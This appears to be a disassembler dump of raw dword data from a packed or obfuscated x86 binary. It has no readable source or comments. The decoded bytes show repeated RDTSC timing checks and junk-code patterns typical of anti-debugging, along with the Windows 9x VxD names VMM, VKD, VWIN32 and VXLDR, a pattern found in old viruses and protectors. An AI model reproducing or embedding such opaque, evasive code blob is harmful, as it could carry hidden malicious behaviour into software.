		dd 8, 9FB8E4F6h, 0D95596AFh, 138B0F90h,	0E9000000h, 0Eh
		dd 99EBB860h, 6FFA77D6h, 0C9B7E3E3h, 0E95073F4h, 0Bh, 0CDBDBA05h
		dd 5314102Ch, 90FA269Eh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 45C35646h, 8DD8B949h,	0AB50FB85h, 0A9958907h
		dd 0FF07A834h, 56006AD0h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 60CAEC4Dh, 96A271BEh
		dd 0D0BF6657h, 9D89618Ch, 7A81DD5h, 24244403h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 42C35040h, 1850Fh
		dd 0ABF50000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0A2C35545h, 0E8ED512h, 0B5297643h, 7A821E9h, 0FA81h
		dd 820F0001h, 72Ah, 10719D89h, 0BD8D07A8h, 7A81549h, 11E9ADF9h
		dd 0C8000000h, 0DFFD7DADh, 81A735F3h, 6F641D21h, 66DFCAADh
		dd 24247C81h, 10000000h, 125870Fh, 7E90000h, 1D000000h
		dd 0C5E0D3B7h, 11E95D3Eh, 46000000h, 0A98E76ABh, 0F55F4DD9h
		dd 5E95A5A5h, 0CE812A59h, 50525090h, 8E0F52h, 0F000000h
		dd 0F525031h, 5A585A31h, 50310F58h, 0F616052h, 5A616031h
		dd 50585A58h, 5E9h, 4C2A700h, 6A9064FFh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 9E76C353h
		dd 2C5D8D31h, 958907A8h, 7A822CDh, 1810Fh, 8BFC0000h, 0F282444h
		dd 582h, 0B70F6000h, 505061D6h,	0B8666052h, 61609FDCh
		dd 0E9310F61h, 12h, 0B04E0433h,	0FF2C82E4h, 0B0121F9Ch
		dd 1B0AA7D8h, 585AF6B2h, 0F240489h, 78Ah, 18A0F00h, 0F8000000h
		dd 50FB858Dh, 6A07ABh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 5C206EC3h, 6660E547h, 2961D38Bh
		dd 0A82E658Dh, 6AD0FF07h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 124DC352h, 0BD296086h
		dd 7A81D01h, 8AD958Bh, 36107A8h, 6A242444h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0F354C355h
		dd 95187898h, 7F960953h, 0DE9h,	97E25400h, 4921751Ah, 0C47AB3FDh
		dd 50F90D38h, 52505250h, 310F5250h, 310F585Ah, 12E9h, 0E1E46500h
		dd 0D2C6A41Dh, 0DDCB47h, 2BC1F979h, 5A2ADD05h, 0E9310F58h
		dd 14h,	4B9B533Fh, 0A21FEC90h, 0DB95D0D9h, 7782F18Dh, 48896B86h
		dd 489585Ah, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 0F6A5AC8Fh, 12E99FE6h, 29000000h
		dd 0FB41683Dh, 0E57C01EAh, 0DB29D36Eh, 9D4901A1h, 6AABADh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0D542D4C3h, 0C58D8B60h, 5707A81Ch, 5CCE8166h, 89615FC3h
		dd 0A823659Dh, 3DBD8D07h, 8907A82Eh, 0A8078985h, 8D0FAD07h
		dd 9, 66EE8A60h, 3D75C881h, 247C8161h, 28h, 1870F10h, 6A000001h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 4898C355h, 880FDB66h, 10h, 0BE9h,	7B893C00h
		dd 7833F1ACh, 6CB9C5EDh, 0A810Fh, 5E90000h, 1C000000h
		dd 0B1F70CFFh, 60525090h, 310F5250h, 8B66585Ah,	310F61C7h
		dd 7E9h, 0C5A13700h, 0EED06C65h, 0E950585Ah, 0Ah, 825E818h
		dd 4610EE72h, 6A900487h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 6FB0C356h, 18D32FF9h
		dd 2C24448Bh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 14h,	0C3C35545h, 2CE59D01h, 0F5007A8h, 0F8Dh, 0AE900h
		dd 0D0ED0000h, 62B7D6D9h, 244BBF99h, 0FC240489h, 50FB858Dh
		dd 8D8907ABh, 7A802F1h,	0FE9h, 8F545300h, 0E8CFD6E1h, 0DA6D8E72h
		dd 0EBEDEE59h, 5E9D0FFh, 0DE000000h, 0E53180BCh, 28244403h
		dd 6850Fh, 0B5890000h, 7A800B1h, 818509ABh, 5E07A800h
		dd 77F58DFFh, 0BD8307ABh, 7AB77F5h, 330A7500h, 0E7B58DC0h
		dd 0FF07AB85h, 81AD56E6h, 28247Ch, 77100000h, 448B500Eh
		dd 8D502C24h, 0AB50FB85h, 3D0FF07h, 97282444h, 858ADF8Bh
		dd 7AB77F1h, 474C084h, 4C75073Ah, 0AEC03257h, 2B5EFD75h
		dd 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh, 8AEA8ACDh
		dd 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h,	5449F381h
		dd 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h
		dd 5AC18B66h, 0F74D03Bh, 4C6835Eh, 330D85FFh, 5DE907A8h
		dd 5EFFFFFFh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ah,	0E3C35646h, 21BE00ECh, 0B501A23Ch, 7A8316Dh, 1890Fh
		dd 6AF50000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 71D6C353h, 0F60D7CBh, 68Ah, 6D9D2900h
		dd 6107A828h, 330D858Bh, 9D8907A8h, 7A81775h, 6AE0D1h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 136572C3h, 34BE9DA0h, 1830F04h, 0F9000000h, 2E3D8503h
		dd 6A07A8h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 6F24F5C3h, 0BEA2EDh, 0F000000h, 68Ch, 0CD9D8900h
		dd 9607A832h, 33898D01h, 0AD6607A8h, 215D9531h,	0E0C107A8h
		dd 0FE902h, 0A7F20000h,	0E5A6E544h, 81F75CF0h, 3F7DA711h
		dd 14E9B1h, 10900000h, 0A6C7708h, 49CBC3D2h, 0AE67C4F7h
		dd 0E8D98AD4h, 8503D7ECh, 7A80FCDh, 8D8B60FCh, 7A83209h
		dd 2CA99531h, 966107A8h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 16h, 3BC35242h, 6AADBDBFh,	3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 4EB5C356h
		dd 0BE51FFD7h, 247C8100h, 24h, 75870F10h, 60000000h, 8501D18Bh
		dd 7A8258Dh, 10E95061h,	9F000000h, 0F84F8498h, 5935453Bh
		dd 902F20D7h, 892C4580h, 0BE92404h, 0D6000000h,	94875606h
		dd 0B373EB5Ah, 448B9510h, 0B1602824h, 198D2971h, 6107A808h
		dd 0A7BF6050h, 66013483h, 613757BAh, 0E9240489h, 0Ch, 24A44B3Fh
		dd 0B49F573Ch, 0AA1E2C6h, 50FB858Dh, 0BD8907ABh, 7A8251Dh
		dd 0BD01D0FFh, 7A821CDh, 24244403h, 0BE9h, 42CCD900h, 8DF2989Dh
		dd 91D2A022h, 1C244489h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0FDC35141h, 0C092E6D3h, 4FB6B59Eh, 0FE99Ah
		dd 0A77B0000h, 0C7C1FDB7h, 0EFD7BEBEh, 0A43D4D77h, 61B529E6h
		dd 0C607A813h, 0A8061985h, 85C70007h, 7AB7985h,	0
		dd 77F985C7h, 7ABh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 180424h, 52420000h, 49058FC3h, 830F4079h
		dd 6, 349B529h,	0BD8907A8h, 7A82811h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 86C35343h, 11E93Fh,	0A0770000h
		dd 9A6B5951h, 0BBD40590h, 67ACB1D6h, 61B19506h,	8C2F8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0C7C35141h
		dd 66602647h, 0E958C6BFh, 8, 6881BC95h,	7D3A2395h, 6850F61h
		dd 1000000h, 0A82D41B5h, 858BF807h, 7A80FCDh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0DEC35242h, 1E7549A9h
		dd 6A4A02h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 2A5271C3h, 0FBADB4Ch, 186h, 0F60FC00h, 682h
		dd 820F00h, 66000000h, 611798BEh, 6A04D26Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 9A8C350h, 935B822Dh,	899C066Ch, 0A807B995h, 6AC20307h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 5B8CC350h, 7E429F35h, 1AEB2394h, 14E9h, 36F8A400h
		dd 0FBEFAB85h, 34551348h, 4C171B75h, 31BE10B6h,	6A96FC5Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 4D9FC355h, 8D8B60D5h, 7A81C91h, 34D1BD29h
		dd 0AD6107A8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	3BC35646h, 658D8930h, 2907A818h, 0A82A4DBDh, 247C8107h
		dd 24h,	17870F10h, 6A000001h, 3E85300h,	20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 907DC353h, 0FE9h, 0FA96CA00h
		dd 0D35825B8h, 48C14493h, 0DD286A69h, 0F525050h, 1588h
		dd 10E900h, 0F7CF0000h,	2BD0EFFAh, 84E00C7Ah, 919D25D7h
		dd 310FFA55h, 0F6BF6660h, 585A6140h, 50006A90h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0FCA09E05h
		dd 2824448Bh, 19ED9D89h, 0F9007A8h, 48Dh, 61606000h, 52505061h
		dd 52505250h, 585A310Fh, 5250310Fh, 585A310Fh, 310F585Ah
		dd 2830Fh, 61600000h, 0F990585Ah, 50FB858Dh, 6A07ABh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 9D1FDC3h, 0A81A21BDh, 7E907h, 29D80000h, 0CFEECB62h
		dd 6AD0FFF0h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 54A2C356h, 0B8E0F1Ch, 0E9000000h
		dd 6, 0FE3BFBA0h, 95E9FC21h, 0FFFFFFCh,	680h, 0FD9D2900h
		dd 8D07A804h, 0AB8C0385h, 95296007h, 7A82879h, 2CE1BD31h
		dd 506107A8h, 8C98BB60h, 665118DBh, 615BC18Bh, 0F240489h
		dd 68Ah, 199D8900h, 8907A80Eh, 0A81D398Dh, 35FF6407h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 35C35545h
		dd 0A2E2E1E3h, 0E96853BEh, 10h,	9722FA60h, 5E928C5Ah, 0CC7649B8h
		dd 0C82AF691h, 6A24048Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0F9DC353h, 180h, 5E9F500h
		dd 46000000h, 565107D7h, 30218589h, 0B58907A8h,	7A81889h
		dd 258964h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0B2D4C353h,	42772EE9h
		dd 8D3D23E6h, 0AB8A7D85h, 9D8B6007h, 7A80031h, 1DF1958Bh
		dd 896107A8h, 6A0160h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0CB5E37C3h, 10297DAh, 0A80C319Dh
		dd 1C7E907h, 95290000h,	7A817D1h, 0E8DB8Bh, 5D000000h
		dd 8A76ED81h, 9CBC07ABh, 830012FFh, 0A805A1BDh,	18740007h
		dd 2981858Bh, 0C607A8h,	55858B00h, 0C607A82Fh, 95FF0000h
		dd 7A80A3Dh, 0FDB5FF60h, 8D07AB73h, 0AB740185h,	858D5007h
		dd 7AB75F9h, 4195FF50h,	8307A82Fh, 89610CC4h, 0A82C358Dh
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0AE768BF9h, 0B5017435h, 7A807D5h, 75F9B58Dh
		dd 6A07ABh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 5480F9C3h, 8D09983Ah, 7A82985h, 2339BD89h
		dd 0AE907A8h, 59000000h, 949C46C7h, 0A15D059h, 1DBD8DE1h
		dd 6A07A811h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 4AB6C355h, 93EC647Ch, 0B523602Fh
		dd 7A8312Dh, 3E8061h, 22840Fh, 9D890000h, 7A83331h, 816660A4h
		dd 665BFCC3h, 0E961DF8Bh, 0FFFFFFE1h, 6810Fh, 8D890000h
		dd 7A80091h, 0BD89C02Bh, 7A807FDh, 51006AAAh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 7B87B4Eh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 0F5E3C357h, 14EFFE41h, 18D0Fh, 0C7F80000h
		dd 0A817E985h, 107h, 80F86000h,	8D6124E9h, 0A84E4D8Dh
		dd 19D2907h, 0FF07A81Dh, 1830FE1h, 0F8000000h, 0C245C8Bh
		dd 0E855h, 815D0000h, 0AB8C0DEDh, 0B8838B07h, 89000000h
		dd 0AB73FD85h, 6F858D07h, 8907AB8Ah, 0B883h, 0C0335D00h
		dd 55006AC3h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 80119046h, 0BD577A7Ch, 830FFA08h, 0Ch, 6870Fh
		dd 840F0000h, 0
		dd 7E9h, 9C6FAD00h, 34DB56Fh, 6A60FCh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0E042A1C3h
		dd 0E1436F5Ah, 6660A042h, 615A62BAh, 8E36858Dh,	6A07ABh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 7D517CC3h, 1E85BB39h, 0F9952912h, 5007A823h,	66525060h
		dd 310FFB8Bh, 310F5250h, 585A585Ah, 89615856h, 0E9602404h
		dd 0Ch,	0D62EC638h, 0AF936CEEh,	54B2A13Ah, 259D8B51h, 5A07A806h
		dd 0DE86061h, 0BC000000h, 8DEFED6Ah, 718F643Dh,	5E6C2BA2h
		dd 2CBD9D89h, 665907A8h, 61DF03BFh, 35FF64h, 0E9000000h
		dd 0Bh,	4EEEE8BBh, 8553517Ah, 646A05A6h, 2589h,	6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 8509DBC3h, 7A83405h,	8EC8858Dh, 850907ABh, 7A81AB9h
		dd 0F8016089h, 61985C6h, 0F4F07A8h, 0D8Ah, 8E900h, 0D8DD0000h
		dd 1C5E4E4Ah, 1468311Dh, 5099816Ch, 6E952h, 76750000h
		dd 3F88BF60h, 10E9310Fh, 32000000h, 0D29D2C68h,	619ADCCh
		dd 690B21E7h, 5ADA4C7Bh, 24348158h, 6749183Eh, 3058D89h
		dd 0B5FF07A8h, 7A80CE1h, 2931B589h, 858D07A8h, 7AB781Ah
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 41C35141h
		dd 0FFC5384Ch, 52006AD0h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 1CEB4DADh, 89A22918h
		dd 0A80B91BDh, 0A7E907h, 10E90000h, 2D000000h, 167FBD0Ch
		dd 6725A117h, 7D96C729h, 8BE8A018h, 550C245Ch, 0E8h, 0ED815D00h
		dd 7AB8E40h, 1895858Bh,	858907A8h, 7A80CE1h, 1E35858Bh
		dd 858907A8h, 7A80765h,	379858Bh, 858907A8h, 7A803C1h
		dd 61985C6h, 0C70007A8h, 0AB798585h, 7,	0C8858D00h, 8907AB8Eh
		dd 0B883h, 0C0335D00h, 9D8960C3h, 7A80371h, 34958D8Bh
		dd 6A6107A8h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 96FAC350h, 90691EEAh, 4D95297Ah
		dd 107A832h, 0A82E658Dh, 0FF74BC07h, 64FC0012h,	58Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0C3AD1EC3h, 890FFB0Ch, 1, 4C483F9h, 0C8E0Fh,	820F0000h
		dd 6, 2C718D89h, 0E86107A8h, 13h, 0E35307B9h, 924F3E27h
		dd 6629F4CFh, 2229982Ah, 0F8C7E224h, 0C381FC5Bh, 67A3h
		dd 1A058589h, 0C03307A8h, 0E2DBD89h, 148B07A8h,	4EBE6603h
		dd 0DEC28149h, 0BE7DA593h, 564188E7h, 310F281h,	9D2945CAh
		dd 7A807B9h, 3F56C281h,	0B70F786Eh, 9D2952F9h, 7A80B3Dh
		dd 6603048Fh, 9D09F28Bh, 7A82D9Dh, 0AB7FE881h, 0F512073h
		dd 815EFBBFh, 73AB7BC0h, 49B58B20h, 8107A825h, 0FF98F0F8h
		dd 0A3850FFFh, 0E9FFFFFFh, 0Bh,	4128CEBFh, 0A4B94DBBh
		dd 0E80C9122h, 10h, 34B88320h, 0C05C0BAEh, 4509F078h, 0F1D1066Bh
		dd 9ACB8166h, 800F5963h, 6, 0FC19D8Bh, 0C18107A8h, 70D0h
		dd 68D78Bh, 58000000h, 12E9h, 1CE9D000h, 36BC3496h, 84952B71h
		dd 1C4CE56Ah, 8B1FE4ABh, 0BE9013Ch, 86000000h, 199A0A44h
		dd 0DB60B255h, 0C781296Eh, 0EDEE3C6h, 52EF81F9h, 0F1ABC99h
		dd 0F781D6B7h, 35127699h, 0F21958Bh, 3C8907A8h,	6D9D8B01h
		dd 0E907A806h, 11h, 2048329Bh, 0ABDF6576h, 0AAD83D59h
		dd 5712A469h, 4E883E5h,	1931B589h, 0F88107A8h, 0FFFF9018h
		dd 12850Fh, 85890000h, 7A83105h, 37E9h,	0ECAE0F00h, 1856411Dh
		dd 13E8h, 0F4A23000h, 17F9C712h, 9583EB0Ah, 0B968050Ch
		dd 6C55BBE9h, 3599D89h,	0E95E07A8h, 0FFFFFF67h,	89D86204h
		dd 329FE5CFh, 0E13AEF04h, 464934EBh, 52474D53h,	4B562020h
		dd 20202044h, 4D562020h, 2020204Dh, 57562020h, 32334E49h
		dd 58562020h, 52444C44h, 2020h,	2 dup(0)
		dd 66E90000h, 0FC000007h, 0FE86060h, 8F000000h,	93CF8787h
		dd 5AC06E80h, 3BEDFE4Fh, 5EF897F8h, 0B8D0Fh, 5E80000h
		dd 0EA000000h, 5C9807E8h, 85C76159h, 7AB90C9h, 0
		dd 0D880Fh, 8E90000h, 4F000000h, 36542CF1h, 8BE42779h
		dd 0CD8060C6h, 0DE9D3h,	60EA0000h, 0B975A2E3h, 3D92C5BCh
		dd 61FB8783h, 9E860h, 9E400000h, 54076435h, 0FF9C063h
		dd 87h,	0AE85900h, 0BA000000h, 24283B3Dh, 5C7405F0h, 5ABEB55Bh
		dd 0D8B70F61h, 10E8C1F9h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 10C35040h, 1850Fh, 0E9F50000h, 6, 77D21670h
		dd 0C16695D6h, 0F5F908C8h, 90CD8589h, 6A07ABh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 6EE34CC3h, 840F3561h, 1, 0C166F5FCh,	83F508CBh, 850F40FBh
		dd 5Eh,	78B0Fh,	8B0F0000h, 1, 0A1BD8DF8h, 6A07AB90h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 4A5AC355h, 16DB8160h, 0E8715471h, 0Ch, 19BCCD4Dh, 0AD99E0D7h
		dd 0E27565C4h, 8E9h, 0AE4B800h,	1912FE3Ah, 0FC615A5Dh
		dd 1B4E9h, 0FB83F500h, 7D850F0Dh, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 74A8C350h, 0BC2C9971h, 5660784Eh, 0BE665BF5h, 8D619437h
		dd 0AB90A9BDh, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 111FF1E0h, 0DE95FB5h
		dd 70000000h, 5E2BE477h, 18F86697h, 0C3338215h,	140E9h
		dd 0D8E0F00h, 0E9000000h, 8, 0A99109D4h, 49F27EAh, 0F01FB83h
		dd 4B85h, 0BD8DFC00h, 7AB90B1h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0CAC35040h,	7E3D0FF7h, 8E0F60FDh
		dd 5, 2BCF8166h, 0E6B9665Fh, 0E9F56125h, 0E5h, 0BDC38160h
		dd 6629366Ah, 61851EB8h, 0F2AFB83h, 6085h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 4FEBD625h, 6A274FF9h, 8DF5FCA6h, 0AB90B9BDh,	50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 22ECE5CAh, 80E9h, 0A830F00h,	60000000h, 0BF0ADC80h
		dd 575AC565h, 27FB8361h, 34B850Fh, 880F0000h, 1Ah, 14800Fh
		dd 0FE90000h, 0B8000000h, 0B1982215h, 200853DEh, 7787D36h
		dd 6660AB68h, 76F4C281h, 0EE8h,	0A6CD3F00h, 34338DDDh
		dd 73BB1FFBh, 6620EC03h, 615ED98Bh, 90C1BD8Dh, 6A07ABh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 2A3C69C3h, 0DA9F3DF6h, 0D1BD89F5h, 0FC07AB90h, 60C88C66h
		dd 27EBBB66h, 61CA8B66h, 66600324h, 6655F2BEh, 61BBA8BEh
		dd 850FC00Ah, 1DCh, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 2AC35141h, 2E301A78h,	0B58DAD98h, 7AB972Fh
		dd 11E9h, 0A0C85900h, 6E32F938h, 9B9BC322h, 9E4E8A33h
		dd 858B733Bh, 7AB97B3h,	0B860Fh, 66600000h, 3684DB81h
		dd 3B1CBE66h, 52509261h, 830F5250h, 0
		dd 11E9310Fh, 38000000h, 0AA2E12E5h, 0C158D36Fh, 6E0F5214h
		dd 80D972D5h, 310F585Ah, 890F5250h, 0
		dd 7E9310Fh, 80000000h,	94BDCBE7h, 585AFD38h, 5050585Ah
		dd 68D0F52h, 0F000000h,	89h, 0F310F00h,	68Bh, 0F525000h
		dd 5A585A31h, 6A9258h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0CDEE79C3h, 0ABD4755Fh, 10FF8FCh
		dd 6AFE244Ch, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0B9ADC357h, 166131C4h,	6075EE11h
		dd 0BE8h, 0DE0F4200h, 6EFF2EA1h, 3D51BCC5h, 5FCA8B66h
		dd 0F1BF0F56h, 5AF8615Eh, 0CE9h, 0CF5DCB00h, 61A25769h
		dd 0F44F30E1h, 24C283A9h, 7810Fh, 8B600000h, 0A4E980F1h
		dd 72896661h, 1D800FFCh, 60000000h, 14E95950h, 47000000h
		dd 0A9C5DD6Eh, 0C27BF706h, 481D1D90h, 26DA98F5h, 612166FEh
		dd 6A10CEC1h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0FB9CC351h, 0A35C5CE7h, 896622E1h
		dd 6A0272h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0A2ABB2C3h, 8D0F04CDh, 1,	0DDE9F9h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0F8BDD0C3h, 97B3858Bh, 6A07ABh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 503E8EC3h, 0FF31BD1h
		dd 158Ch, 10E900h, 7DCA0000h, 4EB9F724h, 389AC313h, 19350513h
		dd 0B58D77FEh, 7AB972Fh, 6860Fh, 66600000h, 610DE0B9h
		dd 4AF6858Dh, 6A07ABh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 105954C3h, 0C2C1FEDBh, 1850F0Eh
		dd 0FC000000h, 78F0Fh, 8A0F0000h, 1, 6AD0FFF8h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0E980C356h, 0E9012C2Ch, 7, 0AD6ED727h, 897B7E93h, 0AB90C985h
		dd 8F0FF907h, 15h, 10E9h, 9A618D00h, 0CE145DCEh, 0EBA633F7h
		dd 86416DBFh, 8E9618Dh,	2F000000h, 0AC9B96CDh, 8BCB2411h
		dd 0AB90C985h, 14E907h,	64890000h, 0B516ED5Bh, 8D7E4D3Eh
		dd 7D2FC3D6h, 2EADCB77h, 6AC37DB3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0BF2FC351h
		dd 32A40981h, 6660856Bh, 609497BEh, 0ED8FF781h,	61617599h
		dd 1840F60h, 0F8000000h, 97B3BD83h, 0F0007ABh, 5C85h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 58D36FAAh, 890F60C1h, 2, 8B66C58Ah, 85C761CAh, 7AB97B3h
		dd 1013Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0DEC35545h, 8E0F944Ah, 1, 0CE9FCh, 60FC0000h, 9EB4BA66h
		dd 0CEE98166h, 20CD61D0h, 0
dword_5BAC20	dd 3774C00Bh, 8B0C708Dh, 0AB90D1BDh, 8B907h, 75A60000h
		dd 0FA754922h, 8B30488Bh, 0AB90CD9Dh, 34583B07h, 0D38B157Fh
		dd 304D26Bh, 89018BCAh,	0AB90C985h, 8B04EB07h, 61C5EB00h
		dd 90C9858Bh, 6ACF07ABh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0ED64C356h,	13E9CB39h
		dd 83000000h, 0FCFF4C8Eh, 0A95BF03Ah, 0DB51B2CCh, 0CC40E09h
		dd 6660818Ah, 0B045EE81h, 2830Fh, 0DF8B0000h, 0E9C08B61h
		dd 148h, 48h, 4Ch, 50h,	54h, 58h, 5Ch, 60h, 64h, 0A8h
		dd 0ACh, 0B0h, 0B4h, 0B8h, 0BCh, 0C0h, 0C4h, 0C8h, 0CCh
		dd 0D0h, 0D4h, 0D8h, 0DCh, 0E0h, 0E4h, 38h dup(0)
		dd offset dword_5BAC20+0F0h
		dd 0B2C203h, 9847858Dh,	858907ABh, 7AB9987h, 168B0Fh, 81600000h
		dd 0FCC03D1h, 9E91Fh, 7B5C0000h, 0FE0BA0F1h, 614F6371h
		dd 61985C6h, 0F55407A8h, 0EC9A1968h, 240481A5h,	4875CE10h
		dd 9D8B5160h, 7A82F75h,	0DE95Fh, 0E9F00000h, 20FC8D7Ch
		dd 2C30881Ah, 614D4805h, 8E8h, 0C68E1D00h, 9D1B4B94h, 0F08B6677h
		dd 0E1B5FF5Bh, 8B07A80Ch, 0A8197595h, 1A858D07h, 8B07AB78h
		dd 0A80A419Dh, 0E9D0FF07h, 12h,	0CAAD6F64h, 1A3066DFh
		dd 7E29DCF8h, 1E131B31h, 85897150h, 7AB998Bh, 48E78166h
		dd 40E93Fh, 7FB70000h, 87B58B56h, 8907AB99h, 87858306h
		dd 407AB99h, 8D60C35Eh,	0AB9847B5h, 560FEB07h, 36FF006Ah
		dd 998B95FFh, 835E07ABh, 3E8304C6h, 61EC7500h, 518589C3h
		dd 0F07A828h, 18Ah, 858DF800h, 7AB9A4Dh, 66F28B66h, 8589F98Bh
		dd 7A826A5h, 0EAE9h, 0B3F79600h, 55C9700h, 0A188838Ah
		dd 0E0A1D76h, 538FDD7Ah, 2F6D3733h, 773D557Dh, 7DD57F2Dh
		dd 3D577DD7h, 75DF6DF7h, 7DD773D5h, 0EDF73D57h,	5375D55Fh
		dd 2F6D3733h, 773D557Dh, 7DD57F2Dh, 1E577DD7h, 75DF6D17h
		dd 60206020h, 0E0E02020h, 68AC2060h, 0E4A9F77Bh, 0B2D020A1h
		dd 0B7EDA693h, 0F291B99Dh, 6020ACA3h, 60206020h, 0E0E02020h
		dd 53752060h, 2F0D0A33h, 6020557Dh, 60206020h, 362BA728h
		dd 60C950F0h, 0A1EFB6F3h, 0B4E0F796h, 92B8E3A7h, 0E9B3F471h
		dd 60F76DB9h, 60206020h, 20206020h, 1ADF6DF7h, 7DD77335h
		dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 773D557Dh,	7DD57F2Dh
		dd 3D577DD7h, 75DF6DF7h, 7DD773D5h, 0EDF73D57h,	5375D55Fh
		dd 2F6D3733h, 0A1E357Dh, 3407000Eh, 0A0A3D25Dh,	1E59h
